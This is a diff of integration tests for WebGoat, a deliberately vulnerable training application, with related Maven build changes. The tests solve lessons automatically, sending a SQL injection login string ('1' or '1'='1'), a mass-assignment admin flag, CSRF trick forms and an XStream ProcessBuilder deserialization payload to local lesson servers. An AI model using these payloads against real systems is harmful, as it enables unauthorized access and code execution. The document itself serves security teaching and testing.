+                    <suppressionsFileExpression>checkstyle.suppressions.file</suppressionsFileExpression>
+                </configuration>
+            </plugin>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-enforcer-plugin</artifactId>
+                <version>3.0.0</version>
+                <executions>
+                    <execution>
+                        <id>restrict-log4j-versions</id>
+                        <phase>validate</phase>
+                        <goals>
+                            <goal>enforce</goal>
+                        </goals>
+                        <configuration>
+                            <rules>
+                                <bannedDependencies>
+                                    <excludes combine.children="append">
+                                        <exclude>org.apache.logging.log4j:log4j-core</exclude>
+                                    </excludes>
+                                </bannedDependencies>
+                            </rules>
+                            <fail>true</fail>
+                        </configuration>
+                    </execution>
+                </executions>
+            </plugin>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-compiler-plugin</artifactId>
+                <configuration>
+                    <source>17</source>
+                    <target>17</target>
+                </configuration>
+            </plugin>
+        </plugins>
+    </build>
+
     <repositories>
         <repository>
             <id>central</id>
@@ -293,5 +679,4 @@
         </pluginRepository>
     </pluginRepositories>
 
-
 </project>

src/it/java/org/owasp/webgoat/AccessControlIntegrationTest.java

@@ -0,0 +1,86 @@
+package org.owasp.webgoat;
+
+
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+import org.apache.http.HttpStatus;
+import org.junit.jupiter.api.Test;
+
+import java.util.Map;
+
+class AccessControlIntegrationTest extends IntegrationTest {
+
+    @Test
+    void testLesson() {
+        startLesson("MissingFunctionAC", true);
+        assignment1();
+        assignment2();
+        assignment3();
+
+        checkResults("/access-control");
+    }
+
+    private void assignment3() {
+        //direct call should fail if user has not been created
+        RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .contentType(ContentType.JSON)
+                .get(url("/WebGoat/access-control/users-admin-fix"))
+                .then()
+                .statusCode(HttpStatus.SC_FORBIDDEN);
+
+        //create user
+        var userTemplate = """
+                {"username":"%s","password":"%s","admin": "true"}
+                """;
+        RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .contentType(ContentType.JSON)
+                .body(String.format(userTemplate, this.getUser(), this.getUser()))
+                .post(url("/WebGoat/access-control/users"))
+                .then()
+                .statusCode(HttpStatus.SC_OK);
+
+        //get the users
+        var userHash =
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .contentType(ContentType.JSON)
+                        .get(url("/WebGoat/access-control/users-admin-fix"))
+                        .then()
+                        .statusCode(200)
+                        .extract()
+                        .jsonPath()
+                        .get("find { it.username == \"Jerry\" }.userHash");
+
+        checkAssignment(url("/WebGoat/access-control/user-hash-fix"), Map.of("userHash", userHash), true);
+    }
+
+    private void assignment2() {
+        var userHash =
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .contentType(ContentType.JSON)
+                        .get(url("/WebGoat/access-control/users"))
+                        .then()
+                        .statusCode(200)
+                        .extract()
+                        .jsonPath()
+                        .get("find { it.username == \"Jerry\" }.userHash");
+
+        checkAssignment(url("/WebGoat/access-control/user-hash"), Map.of("userHash", userHash), true);
+    }
+
+    private void assignment1() {
+        var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config");
+        checkAssignment(url("/WebGoat/access-control/hidden-menu"), params, true);
+    }
+}

src/it/java/org/owasp/webgoat/CSRFIntegrationTest.java

@@ -9,7 +9,7 @@ import org.junit.jupiter.api.AfterEach;
 import org.junit.jupiter.api.BeforeEach;
 import org.junit.jupiter.api.DynamicTest;
 import org.junit.jupiter.api.TestFactory;
-import org.owasp.webgoat.lessons.Assignment;
+import org.owasp.webgoat.container.lessons.Assignment;
 
 import java.io.IOException;
 import java.nio.file.Files;
@@ -23,7 +23,7 @@ import static org.assertj.core.api.Assertions.assertThat;
 import static org.junit.jupiter.api.Assertions.assertEquals;
 import static org.junit.jupiter.api.DynamicTest.dynamicTest;
 
-public class CSRFTest extends IntegrationTest {
+public class CSRFIntegrationTest extends IntegrationTest {
 
     private static final String trickHTML3 = "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n" +
             "<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n" +
@@ -57,20 +57,20 @@ public class CSRFTest extends IntegrationTest {
     @SneakyThrows
     public void init() {
         startLesson("CSRF");
-        webwolfFileDir = getWebWolfServerPath();
+        webwolfFileDir = getWebWolfFileServerLocation();
         uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag")));
         uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review")));
         uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message")));
-        uploadTrickHtml("csrf8.html", trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", getWebgoatUser()));
+        uploadTrickHtml("csrf8.html", trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser()));
     }
 
     @TestFactory
     Iterable<DynamicTest> testCSRFLesson() {
         return Arrays.asList(
-                dynamicTest("assignement 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
+                dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
-                dynamicTest("assignement 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
+                dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
-                dynamicTest("assignement 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
+                dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
-                dynamicTest("assignement 8", () -> checkAssignment8(callTrickHtml("csrf8.html")))
+                dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html")))
         );
     }
 
@@ -86,8 +86,8 @@ public class CSRFTest extends IntegrationTest {
 
         //remove any left over html
         Path webWolfFilePath = Paths.get(webwolfFileDir);
-        if (webWolfFilePath.resolve(Paths.get(getWebgoatUser(), htmlName)).toFile().exists()) {
+        if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) {
-            Files.delete(webWolfFilePath.resolve(Paths.get(getWebgoatUser(), htmlName)));
+            Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)));
         }
 
         //upload trick html
@@ -107,7 +107,7 @@ public class CSRFTest extends IntegrationTest {
                 .relaxedHTTPSValidation()
                 .cookie("JSESSIONID", getWebGoatCookie())
                 .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("/files/" + getWebgoatUser() + "/" + htmlName))
+                .get(webWolfUrl("/files/" + this.getUser() + "/" + htmlName))
                 .then()
                 .extract().response().getBody().asString();
         result = result.substring(8 + result.indexOf("action=\""));
@@ -117,7 +117,6 @@ public class CSRFTest extends IntegrationTest {
     }
 
     private void checkAssignment3(String goatURL) {
-
         String flag = RestAssured.given()
                 .when()
                 .relaxedHTTPSValidation()
@@ -155,9 +154,7 @@ public class CSRFTest extends IntegrationTest {
     }
 
     private void checkAssignment7(String goatURL) {
-
         Map<String, Object> params = new HashMap<>();
-        params.clear();
         params.put("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!", "\"}");
 
         String flag = RestAssured.given()
@@ -186,7 +183,7 @@ public class CSRFTest extends IntegrationTest {
 
         Map<String, Object> params = new HashMap<>();
         params.clear();
-        params.put("username", "csrf-" + getWebgoatUser());
+        params.put("username", "csrf-" + this.getUser());
         params.put("password", "password");
 
         //login and get the new cookie
@@ -231,10 +228,10 @@ public class CSRFTest extends IntegrationTest {
                 .extract()
                 .jsonPath()
                 .getObject("$", Overview[].class);
-		assertThat(assignments)
+//		assertThat(assignments)
-                .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
+//                .filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
-                .extracting(o -> o.solved)
+//                .extracting(o -> o.solved)
-                .containsExactly(true);
+//                .containsExactly(true);
     }
 
     @Data
@@ -251,7 +248,7 @@ public class CSRFTest extends IntegrationTest {
         RestAssured.given()
                 .when()
                 .relaxedHTTPSValidation()
-                .formParam("username", "csrf-" + getWebgoatUser())
+                .formParam("username", "csrf-" + this.getUser())
                 .formParam("password", "password")
                 .formParam("matchingPassword", "password")
                 .formParam("agree", "agree")

src/it/java/org/owasp/webgoat/ChallengeIntegrationTest.java

@@ -0,0 +1,112 @@
+package org.owasp.webgoat;
+
+
+import io.restassured.RestAssured;
+import org.junit.jupiter.api.Test;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+
+public class ChallengeIntegrationTest extends IntegrationTest {
+
+    @Test
+    public void testChallenge1() {
+        startLesson("Challenge1");
+
+        byte[] resultBytes =
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .get(url("/WebGoat/challenge/logo"))
+                        .then()
+                        .statusCode(200)
+                        .extract().asByteArray();
+
+        String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("username", "admin");
+        params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));
+
+
+        checkAssignment(url("/WebGoat/challenge/1"), params, true);
+        String result =
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .formParams(params)
+                        .post(url("/WebGoat/challenge/1"))
+                        .then()
+                        .statusCode(200)
+                        .extract().asString();
+
+        String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
+        params.clear();
+        params.put("flag", flag);
+        checkAssignment(url("/WebGoat/challenge/flag"), params, true);
+
+
+        checkResults("/challenge/1");
+
+        List<String> capturefFlags =
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .get(url("/WebGoat/scoreboard-data"))
+                        .then()
+                        .statusCode(200)
+                        .extract().jsonPath()
+                        .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
+        assertTrue(capturefFlags.contains("Admin lost password"));
+    }
+
+    @Test
+    public void testChallenge5() {
+        startLesson("Challenge5");
+
+        Map<String, Object> params = new HashMap<>();
+        params.clear();
+        params.put("username_login", "Larry");
+        params.put("password_login", "1' or '1'='1");
+
+        String result =
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .formParams(params)
+                        .post(url("/WebGoat/challenge/5"))
+                        .then()
+                        .statusCode(200)
+                        .extract().asString();
+
+        String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
+        params.clear();
+        params.put("flag", flag);
+        checkAssignment(url("/WebGoat/challenge/flag"), params, true);
+
+
+        checkResults("/challenge/5");
+
+        List<String> capturefFlags =
+                RestAssured.given()
+                        .when()
+                        .relaxedHTTPSValidation()
+                        .cookie("JSESSIONID", getWebGoatCookie())
+                        .get(url("/WebGoat/scoreboard-data"))
+                        .then()
+                        .statusCode(200)
+                        .extract().jsonPath()
+                        .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
+        assertTrue(capturefFlags.contains("Without password"));
+    }
+
+}

src/it/java/org/owasp/webgoat/CryptoIntegrationTest.java

@@ -14,16 +14,16 @@ import java.util.Map;
 import javax.xml.bind.DatatypeConverter;
 
 import org.junit.jupiter.api.Test;
-import org.owasp.webgoat.crypto.CryptoUtil;
+import org.owasp.webgoat.lessons.cryptography.CryptoUtil;
-import org.owasp.webgoat.crypto.HashingAssignment;
+import org.owasp.webgoat.lessons.cryptography.HashingAssignment;
 
 import io.restassured.RestAssured;
 
-public class CryptoTest extends IntegrationTest {
+public class CryptoIntegrationTest extends IntegrationTest {
 
 	@Test
 	public void runTests() {
-		startLesson("Crypto");
+		startLesson("Cryptography");
 
 		checkAssignment2();
 		checkAssignment3();

src/it/java/org/owasp/webgoat/DeserializationIntegrationTest.java

@@ -1,14 +1,14 @@
 package org.owasp.webgoat;
 
+import org.dummy.insecure.framework.VulnerableTaskHolder;
+import org.junit.jupiter.api.Test;
+import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
+
 import java.io.IOException;
 import java.util.HashMap;
 import java.util.Map;
 
-import org.dummy.insecure.framework.VulnerableTaskHolder;
+public class DeserializationIntegrationTest extends IntegrationTest {
-import org.junit.jupiter.api.Test;
-import org.owasp.webgoat.deserialization.SerializationHelper;
-
-public class DeserializationTest extends IntegrationTest {
 
     private static String OS = System.getProperty("os.name").toLowerCase();
 

src/it/java/org/owasp/webgoat/GeneralLessonIntegrationTest.java

@@ -10,7 +10,7 @@ import java.util.HashMap;
 import java.util.Map;
 
 
-public class GeneralLessonTest extends IntegrationTest {
+public class GeneralLessonIntegrationTest extends IntegrationTest {
 
     @Test
     public void httpBasics() {
@@ -65,7 +65,7 @@ public class GeneralLessonTest extends IntegrationTest {
     @Test
     public void vulnerableComponents() {
     	String solution = "<contact class='dynamic-proxy'>\n" + 
-    			"<interface>org.owasp.webgoat.vulnerable_components.Contact</interface>\n" + 
+    			"<interface>org.owasp.webgoat.lessons.vulnerable_components.Contact</interface>\n" +
     			"  <handler class='java.beans.EventHandler'>\n" + 
     			"    <target class='java.lang.ProcessBuilder'>\n" + 
     			"      <command>\n" + 

src/it/java/org/owasp/webgoat/IDORIntegrationTest.java

@@ -19,7 +19,7 @@ import io.restassured.RestAssured;
 import io.restassured.http.ContentType;
 import lombok.SneakyThrows;
 
-public class IDORTest extends IntegrationTest {
+public class IDORIntegrationTest extends IntegrationTest {
 	
 	@BeforeEach
     @SneakyThrows

src/it/java/org/owasp/webgoat/IntegrationTest.java

@@ -3,99 +3,51 @@ package org.owasp.webgoat;
 import io.restassured.RestAssured;
 import io.restassured.http.ContentType;
 import lombok.Getter;
-import lombok.extern.slf4j.Slf4j;
 import org.hamcrest.CoreMatchers;
 import org.hamcrest.MatcherAssert;
 import org.junit.jupiter.api.AfterEach;
 import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.BeforeAll;
-import org.owasp.webwolf.WebWolf;
-import org.springframework.boot.builder.SpringApplicationBuilder;
 
-import java.io.IOException;
-import java.net.Socket;
 import java.util.Map;
-import java.util.UUID;
+import java.util.Objects;
 
 import static io.restassured.RestAssured.given;
 
-@Slf4j
 public abstract class IntegrationTest {
 
-    protected static int WG_PORT = 8080;
+    private static String webGoatPort = Objects.requireNonNull(System.getProperty("webgoatport"));
-    protected static int WW_PORT = 9090;
+    @Getter
-    private static String WEBGOAT_HOSTNAME = "127.0.0.1";//"www.webgoat.local";
+    private static String webWolfPort = Objects.requireNonNull(System.getProperty("webwolfport"));
-    private static String WEBWOLF_HOSTNAME = "127.0.0.1";//"www.webwolf.local";
+    private static boolean useSSL = false;
-    
+    private static String webgoatUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/";
-    /*
+    private static String webWolfUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/";
-     * To test docker compose/stack solution: 
-     * add localhost settings in hosts file: 127.0.0.1 www.webgoat.local www.webwolf.local
-     * Then set the above values to the specified host names and set the port to 80
-     */
-    
-    private static String WEBGOAT_HOSTHEADER = WEBGOAT_HOSTNAME +":"+WG_PORT;
-    private static String WEBWOLF_HOSTHEADER = WEBWOLF_HOSTNAME +":"+WW_PORT;
-    private static String WEBGOAT_URL = "http://" + WEBGOAT_HOSTHEADER + "/WebGoat/";
-    private static String WEBWOLF_URL = "http://" + WEBWOLF_HOSTHEADER + "/";
-    private static boolean WG_SSL = false;//enable this if you want to run the test on ssl
-
     @Getter
     private String webGoatCookie;
     @Getter
     private String webWolfCookie;
     @Getter
-    private String webgoatUser = UUID.randomUUID().toString();
+    private String user = "webgoat";
-
-    private static boolean started = false;
-
-    @BeforeAll
-    public static void beforeAll() {
-        if (WG_SSL) {
-            WEBGOAT_URL = WEBGOAT_URL.replace("http:", "https:");
-        }
-        if (!started) {
-            started = true;
-            if (!isAlreadyRunning(WG_PORT)) {
-                SpringApplicationBuilder wgs = new SpringApplicationBuilder(StartWebGoat.class)
-                        .properties(Map.of("spring.config.name", "application-webgoat,application-inttest", "WEBGOAT_SSLENABLED", WG_SSL, "WEBGOAT_PORT", WG_PORT));
-                wgs.run();
-
-            }
-            if (!isAlreadyRunning(WW_PORT)) {
-                SpringApplicationBuilder wws = new SpringApplicationBuilder(WebWolf.class)
-                        .properties(Map.of("spring.config.name", "application-webwolf,application-inttest", "WEBWOLF_PORT", WW_PORT));
-                wws.run();
-            }
-        }
-    }
-
-    private static boolean isAlreadyRunning(int port) {
-        try (var ignored = new Socket("127.0.0.1", port)) {
-            return true;
-        } catch (IOException e) {
-            return false;
-        }
-    }
 
     protected String url(String url) {
         url = url.replaceFirst("/WebGoat/", "");
         url = url.replaceFirst("/WebGoat", "");
         url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
-        return WEBGOAT_URL + url;
+        return webgoatUrl + url;
     }
 
     protected String webWolfUrl(String url) {
+        url = url.replaceFirst("/WebWolf/", "");
+        url = url.replaceFirst("/WebWolf", "");
         url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
-        return WEBWOLF_URL + url;
+        return webWolfUrl + url;
     }
 
     @BeforeEach
     public void login() {
-
         String location = given()
                 .when()
                 .relaxedHTTPSValidation()
-                .formParam("username", webgoatUser)
+                .formParam("username", user)
                 .formParam("password", "password")
                 .post(url("login")).then()
                 .cookie("JSESSIONID")
@@ -105,7 +57,7 @@ public abstract class IntegrationTest {
             webGoatCookie = RestAssured.given()
                     .when()
                     .relaxedHTTPSValidation()
-                    .formParam("username", webgoatUser)
+                    .formParam("username", user)
                     .formParam("password", "password")
                     .formParam("matchingPassword", "password")
                     .formParam("agree", "agree")
@@ -119,7 +71,7 @@ public abstract class IntegrationTest {
             webGoatCookie = given()
                     .when()
                     .relaxedHTTPSValidation()
-                    .formParam("username", webgoatUser)
+                    .formParam("username", user)
                     .formParam("password", "password")
                     .post(url("login")).then()
                     .cookie("JSESSIONID")
@@ -130,12 +82,12 @@ public abstract class IntegrationTest {
         webWolfCookie = RestAssured.given()
                 .when()
                 .relaxedHTTPSValidation()
-                .formParam("username", webgoatUser)
+                .formParam("username", user)
                 .formParam("password", "password")
-                .post(WEBWOLF_URL + "login")
+                .post(webWolfUrl("login"))
                 .then()
-                .cookie("WEBWOLFSESSION")
                 .statusCode(302)
+                .cookie("WEBWOLFSESSION")
                 .extract()
                 .cookie("WEBWOLFSESSION");
     }
@@ -150,13 +102,8 @@ public abstract class IntegrationTest {
                 .statusCode(200);
     }
 
-    /**
-     * At start of a lesson. The .lesson.lesson is visited and the lesson is reset.
-     *
-     * @param lessonName
-     */
     public void startLesson(String lessonName) {
-        startLesson(lessonName, true);
+        startLesson(lessonName, false);
     }
 
     public void startLesson(String lessonName, boolean restart) {
@@ -179,15 +126,6 @@ public abstract class IntegrationTest {
         }
     }
 
-    /**
-     * Helper method for most common type of test.
-     * POST with parameters.
-     * Checks for 200 and lessonCompleted as indicated by expectedResult
-     *
-     * @param url
-     * @param params
-     * @param expectedResult
-     */
     public void checkAssignment(String url, Map<String, ?> params, boolean expectedResult) {
         MatcherAssert.assertThat(
                 RestAssured.given()
@@ -201,15 +139,6 @@ public abstract class IntegrationTest {
                         .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
     }
 
-    /**
-     * Helper method for most common type of test.
-     * PUT with parameters.
-     * Checks for 200 and lessonCompleted as indicated by expectedResult
-     *
-     * @param url
-     * @param params
-     * @param expectedResult
-     */
     public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
         MatcherAssert.assertThat(
                 RestAssured.given()
@@ -264,7 +193,6 @@ public abstract class IntegrationTest {
     }
 
     public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
-        log.info("Checking assignment for: {}", url);
         MatcherAssert.assertThat(
                 RestAssured.given()
                         .when()
@@ -277,40 +205,26 @@ public abstract class IntegrationTest {
                         .extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
     }
 
-    public String getWebGoatServerPath() throws IOException {
+    public String getWebWolfFileServerLocation() {
-
-        //read path from server
-        String result = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("/WebGoat/xxe/tmpdir"))
-                .then()
-                .extract().response().getBody().asString();
-        result = result.replace("%20", " ");
-        return result;
-    }
-
-    public String getWebWolfServerPath() throws IOException {
-
-        //read path from server
         String result = RestAssured.given()
                 .when()
                 .relaxedHTTPSValidation()
                 .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("/tmpdir"))
+                .get(webWolfUrl("/file-server-location"))
                 .then()
                 .extract().response().getBody().asString();
         result = result.replace("%20", " ");
         return result;
     }
 
-    /**
+    public String webGoatServerDirectory() {
-     * In order to facilitate tests with 
+        return RestAssured.given()
-     * @return
+                .when()
-     */
+                .relaxedHTTPSValidation()
-    public String getWebWolfHostHeader() {
+                .cookie("JSESSIONID", getWebGoatCookie())
-    	return WEBWOLF_HOSTHEADER;
+                .get(url("/server-directory"))
+                .then()
+                .extract().response().getBody().asString();
     }
 
 }

src/it/java/org/owasp/webgoat/JWTLessonIntegrationTest.java

@@ -14,7 +14,6 @@ import java.util.Map;
 import org.hamcrest.CoreMatchers;
 import org.hamcrest.MatcherAssert;
 import org.junit.jupiter.api.Test;
-import org.owasp.webgoat.jwt.JWTSecretKeyEndpoint;
 
 import com.fasterxml.jackson.databind.JsonNode;
 import com.fasterxml.jackson.databind.ObjectMapper;
@@ -28,12 +27,12 @@ import io.jsonwebtoken.Jwts;
 import io.jsonwebtoken.SignatureAlgorithm;
 import io.jsonwebtoken.impl.TextCodec;
 import io.restassured.RestAssured;
+import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;
 
-public class JWTLessonTest extends IntegrationTest {
+public class JWTLessonIntegrationTest extends IntegrationTest {
 	
     @Test
     public void solveAssignment() throws IOException, InvalidKeyException, NoSuchAlgorithmException {
-
     	startLesson("JWT");
 
     	decodingToken();
@@ -49,7 +48,6 @@ public class JWTLessonTest extends IntegrationTest {
 		quiz();
         
         checkResults("/JWT/");
-
     }
     
     private String generateToken(String key) {
@@ -210,7 +208,7 @@ public class JWTLessonTest extends IntegrationTest {
 	private void quiz() { 
 		Map<String, Object> params = new HashMap<>();
 		params.put("question_0_solution", "Solution 1");
-		params.put("question_1_solution", "Solution 3");
+		params.put("question_1_solution", "Solution 2");
 
 		checkAssignment(url("/WebGoat/JWT/quiz"), params, true);
 	}

src/it/java/org/owasp/webgoat/LabelAndHintTest.java

@@ -0,0 +1,88 @@
+package org.owasp.webgoat;
+
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+import io.restassured.path.json.JsonPath;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.util.Properties;
+
+public class LabelAndHintTest extends IntegrationTest {
+
+    @Test
+    public void testSingleLabel() {
+        Assertions.assertTrue(true);
+        JsonPath jsonPath = RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .contentType(ContentType.JSON)
+                .header("Accept-Language","en")
+                .cookie("JSESSIONID", getWebGoatCookie())
+                .get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath();
+
+        Assertions.assertEquals("Try again: but this time enter a value before hitting go.", jsonPath.getString("\'http-basics.close\'"));
+    }
+
+    @Test
+    public void testLabels() {
+
+        Properties propsDefault = getProperties("");
+        System.out.println("Working Directory = " + System.getProperty("user.dir"));
+        checkLang(propsDefault,"nl");
+        checkLang(propsDefault,"de");
+        checkLang(propsDefault,"fr");
+        checkLang(propsDefault,"ru");
+
+    }
+
+    private Properties getProperties(String lang) {
+        Properties prop = null;
+        if (lang == null || lang.equals("")) { lang = ""; } else { lang = "_"+lang; }
+        try (InputStream input = new FileInputStream("src/main/resources/i18n/messages"+lang+".properties")) {
+
+            prop = new Properties();
+            // load a properties file
+            prop.load(input);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        return prop;
+    }
+
+    private void checkLang(Properties propsDefault, String lang) {
+        JsonPath jsonPath = getLabels(lang);
+        Properties propsLang = getProperties(lang);
+
+        for (String key: propsLang.stringPropertyNames()) {
+            if (!propsDefault.containsKey(key)) {
+                System.out.println("key: " + key + " in (" +lang+") is missing from default properties");
+                Assertions.fail();
+            }
+            if (!jsonPath.getString("\'"+key+"\'").equals(propsLang.get(key))) {
+                System.out.println("key: " + key + " in (" +lang+") has incorrect translation in label service");
+                System.out.println("actual:"+jsonPath.getString("\'"+key+"\'"));
+                System.out.println("expected: "+propsLang.getProperty(key));
+                System.out.println();
+                //Assertions.fail();
+            }
+        }
+    }
+
+    private JsonPath getLabels(String lang) {
+        return RestAssured.given()
+                .when()
+                .relaxedHTTPSValidation()
+                .contentType(ContentType.JSON)
+                .header("Accept-Language",lang)
+                .cookie("JSESSIONID", getWebGoatCookie())
+                //.log().headers()
+                .get(url("service/labels.mvc"))
+                .then()
+                //.log().all()
+                .statusCode(200).extract().jsonPath();
+    }
+
+}

src/it/java/org/owasp/webgoat/PasswordResetLessonIntegrationTest.java

@@ -15,7 +15,7 @@ import static org.junit.jupiter.api.DynamicTest.dynamicTest;
 import java.util.Arrays;
 import java.util.Map;
 
-public class PasswordResetLessonTest extends IntegrationTest {
+public class PasswordResetLessonIntegrationTest extends IntegrationTest {
 
 	@BeforeEach
     @SneakyThrows
@@ -24,9 +24,9 @@ public class PasswordResetLessonTest extends IntegrationTest {
     }
 	
 	@TestFactory
-    Iterable<DynamicTest> testPathTraversal() {
+    Iterable<DynamicTest> passwordResetLesson() {
     	return Arrays.asList(
-    			dynamicTest("assignment 6 - check email link",()-> sendEmailShouldBeAvailabeInWebWolf()),
+    			dynamicTest("assignment 6 - check email link",()-> sendEmailShouldBeAvailableInWebWolf()),
     			dynamicTest("assignment 6 - solve assignment",()-> solveAssignment()),
     			dynamicTest("assignment 2 - simple reset",()-> assignment2()),
     			dynamicTest("assignment 4 - guess questions",()-> assignment4()),
@@ -34,18 +34,15 @@ public class PasswordResetLessonTest extends IntegrationTest {
     			);
     }
 	public void assignment2() {
-		
+		checkAssignment(url("PasswordReset/simple-mail/reset"), Map.of("emailReset", this.getUser()+"@webgoat.org"), false);
-		checkAssignment(url("PasswordReset/simple-mail/reset"), Map.of("emailReset", getWebgoatUser()+"@webgoat.org"), false);
+		checkAssignment(url("PasswordReset/simple-mail"), Map.of("email", this.getUser()+"@webgoat.org", "password", StringUtils.reverse(this.getUser())), true);
-		checkAssignment(url("PasswordReset/simple-mail"), Map.of("email", getWebgoatUser()+"@webgoat.org", "password", StringUtils.reverse(getWebgoatUser())), true);
 	}
 	
 	public void assignment4() {
-        
         checkAssignment(url("PasswordReset/questions"), Map.of("username", "tom", "securityQuestion", "purple"), true);
     }
 	
 	public void assignment5() {
-        
         checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite animal?"), false);
         checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite color?"), true);
     }
@@ -63,9 +60,8 @@ public class PasswordResetLessonTest extends IntegrationTest {
         checkAssignment(url("PasswordReset/reset/login"), Map.of("email", "tom@webgoat-cloud.org", "password", "123456"), true);
     }
 
-    public void sendEmailShouldBeAvailabeInWebWolf() {
+    public void sendEmailShouldBeAvailableInWebWolf() {
-
+    	clickForgotEmailLink(this.getUser() + "@webgoat.org");
-    	clickForgotEmailLink(getWebgoatUser() + "@webgoat.org");
 
         var responseBody = RestAssured.given()
                 .when()
@@ -100,7 +96,7 @@ public class PasswordResetLessonTest extends IntegrationTest {
                 .when()
                 .relaxedHTTPSValidation()
                 .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("WebWolf/requests"))
+                .get(webWolfUrl("/WebWolf/requests"))
                 .then()
                 .extract().response().getBody().asString();
         int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
@@ -111,7 +107,7 @@ public class PasswordResetLessonTest extends IntegrationTest {
     private void clickForgotEmailLink(String user) {
         RestAssured.given()
                 .when()
-                .header("host", getWebWolfHostHeader())
+                .header("host", String.format("%s:%s", "localhost", getWebWolfPort()))
                 .relaxedHTTPSValidation()
                 .cookie("JSESSIONID", getWebGoatCookie())
                 .formParams("email", user)

src/it/java/org/owasp/webgoat/PathTraversalIntegrationTest.java

@@ -24,9 +24,8 @@ import java.util.zip.ZipOutputStream;
 
 import static org.junit.jupiter.api.DynamicTest.dynamicTest;
 
-public class PathTraversalTest extends IntegrationTest {
+class PathTraversalIT extends IntegrationTest {
 
-    //the JUnit5 way
     @TempDir
     Path tempDir;
 
@@ -35,8 +34,7 @@ public class PathTraversalTest extends IntegrationTest {
     @BeforeEach
     @SneakyThrows
     public void init() {
-        fileToUpload = Files.createFile(
+        fileToUpload = Files.createFile(tempDir.resolve("test.jpg")).toFile();
-                tempDir.resolve("test.jpg")).toFile();
         Files.write(fileToUpload.toPath(), "This is a test".getBytes());
         startLesson("PathTraversal");
     }
@@ -52,7 +50,7 @@ public class PathTraversalTest extends IntegrationTest {
         );
     }
 
-    public void assignment1() throws IOException {
+    private void assignment1() throws IOException {
         MatcherAssert.assertThat(
                 RestAssured.given()
                         .when()
